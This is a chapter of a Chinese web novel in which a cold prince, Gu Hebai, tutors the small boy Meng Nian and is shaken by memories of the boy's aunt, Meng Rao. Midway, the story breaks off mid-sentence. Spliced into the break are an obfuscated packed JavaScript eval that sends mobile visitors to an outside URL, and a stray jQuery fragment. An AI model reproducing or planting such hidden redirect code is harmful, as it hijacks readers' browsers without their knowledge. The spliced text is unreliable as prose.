孟念仰着小脑袋,好奇地打量着这个突然出现的新先生。
这个叔叔他记得,之前在书院见过,姑姑说如果再见到这个叔叔,就要躲得远远的。
可叔叔现在是他的夫子,好像没办法躲远了。
而且他长得真好看,就是脸色有点冷,像冬天结冰的湖面。
孟念在观察顾鹤白时,对方也在暗暗衬度着他。
只是相比小孩不加掩饰的目光,顾鹤白就隐蔽多了。
小家伙穿着合身的青色小衫,坐在特意为他打造的小书桌后,一双眼睛乌溜溜的,清澈见底,直勾勾的往他身上瞧。
和他姑姑一样,惯会卖乖让人心软。
顾鹤白心头翻涌的烦躁淡了些,嘴角都不自觉的放软,但随即又板起脸。
他走到书桌前,居高临下地看着那本摊开的《三字经》。
“学到哪里了?”他开口,声音比平时对着下属时放缓了些,但依旧带着惯有的冷调。
孟念伸出小手指了指:“先生,学到‘人之初,性本善’了。”
顾鹤白嗯了一声,撩起衣袍下摆,在原本周夫子坐的椅子上坐了下来。
椅子对于他高大的身形来说显得有些矮小局促,他微微蹙了下眉,但没说什么。
“可知何解?”他拿起书,目光扫过那行字,又落到孟念脸上。
孟念点点头,奶声奶气地说:“人刚生下来的时候,本性都是善良的。”
他解释完,还补充了一句,“就像姑姑说,小孩子都是白纸,画什么就是什么。”
顾鹤白:……
他听着这孩子气的比喻,恍惚间仿佛看到了孟娆幼时的影子。
她从前也总爱用些稀奇古怪的比喻,一本正经的去解释,让人觉得奇怪却又无法斑驳。
这念头刚一冒出来,就被他狠狠压了下去,孟娆带出来的孩子,果然处处都带着她的痕迹,看得人心烦。
他冷下心:“既是读书,便要好生记住圣贤道理,少用这些打比方,不成体统。”
孟念被他说得缩了下脖子,有些委屈。
周夫子从来不会这样说他的,周夫子还会夸他比喻得生动呢,这个新先生好凶。
但他还是乖乖坐直了,小声道:“哦,学生知道了。”
顾鹤白看着他这副有点委屈又强装懂事的小模样,不知为何,总感觉这孩子背着他还是会用。
因为孟娆就是如此……
思及此,顾鹤白强行移开视线,手指无意识地敲了敲桌面:“继续念。”
“是。”孟念低下头,软糯的童音重新响起,认真地诵读着后面的句子。
顾鹤白的目光却再次不受控制地再次落回孟念身上。
小家伙念书的时候,遇到不认识的字或者不确定的读音,会下意识地用大拇指的指节去蹭自己的下嘴唇。
蹭一下,想一想,再继续念。
这个小动作……
许多被尘封的,带着暖意的记忆碎片撞入顾鹤白的脑海。
也是在一个阳光很好的下午,孟家后花园的秋千旁。
孟娆那时还没及笄,抱着一本医书看得眉头紧锁,遇到晦涩难懂的药理时,就会无意识地用指节蹭自己的下唇,一遍又一遍,直到把那瓣粉嫩的嘴唇蹭得微微发红。
他当时看着觉得又好笑又心疼,忍不住伸手过去按了按她的唇瓣,笑她。
“笨**,这么蹭就能蹭明白了?不会来问我?”
少女时期的孟娆被打断了思绪,也不恼,反而就着他的手指咬了一下,留下一个浅浅的牙印。
她抬起眼,有些挑衅的瞪她:“问你?你个连《本草经》都背不全的半吊子,才不要你教。”
那时阳光透过树叶缝隙洒在她脸上,绒毛都清晰可见,笑容明媚得能驱散所有阴霾。
那些记忆鲜活,甚至清晰到连那时他们穿的衣裳都清清楚楚烙印在他脑中,不知被反复研磨过多少回。
……
“先生?先生?”
软糯的呼唤将顾鹤白从遥远的回忆里拽了回来。
他悚然一惊,发现自己竟然对着孟念走了神。
“先生,我念完了。”孟念小声提醒道,似乎有点怕这个总是走神还很凶的新先生。
顾鹤白迅速收敛心神,压
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16714503|189324||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
下那股因回忆而起的汹涌情绪。
现实总是更冰冷的,他脸色比刚才更冷硬了几分。
“嗯。”他应了一声,甚至没注意听孟念刚才念了什么,“既然念完了,那就写字吧,把你刚才念的那段,抄写五遍。”
“五遍?”孟念的小脸瞬间垮了下来,小声嘀咕,“周夫子都只让抄两遍的……”
“本王说五遍就五遍。”顾鹤白语气硬邦邦的,“坐姿端正,字迹工整,写不完不准休息。”
他心里有个声音在恶狠狠地想,对,就是这样,严厉点。
他是孟娆的侄子,凭什么得到好脸色?孟娆抛弃了他,他就该讨厌孟念。
他听到耳边传来轻轻一声叹,随后便是笔墨在纸上的唰唰声。
顾鹤白看着窗外,耳朵却是敏捷的竖起。
静谧流动,他能听见小家伙的落笔重且缓,毛笔不像落在纸上,倒像落在他心里。
酥酥麻麻的,也挠不到,平白痒在心尖,再传到喉咙。
喉结滚动,他强忍着麻感,猛地站起身。
动作大到差点带倒身后的椅子。
巨大的动静吓了孟念一跳,小家伙手里毛笔一抖,在宣纸上划出一道墨痕。
他抬起头,看着突然站起来的新先生。
顾鹤白却看也没看那纸上的墨痕,他背过身,声音硬邦邦地扔下一句:“好好写,不准偷懒,本王出去透透气。”
说完,他仓促地走出了小书房,只留下一个紧绷而冷硬的背影。
孟念看着新先生莫名其妙离开的背影,眨了眨大眼睛,小脸上满是困惑。
这个先生真的好奇怪哦,一会儿凶巴巴,一会儿又好像在生气,可是,生谁的气呢?
他低头看了看纸上那道墨痕,小大人似的叹了口气。
“唉,写坏了,姑姑说,写字要静心,这个先生自己都静不下来,还教我呢……”
不过嘟囔归嘟囔,他还是乖乖地拿过一张新的宣纸,重新蘸墨,继续埋头一笔一画地写了起来。
毕竟,姑姑说过,要听夫子的话。
虽然这个新夫子,真的很奇怪。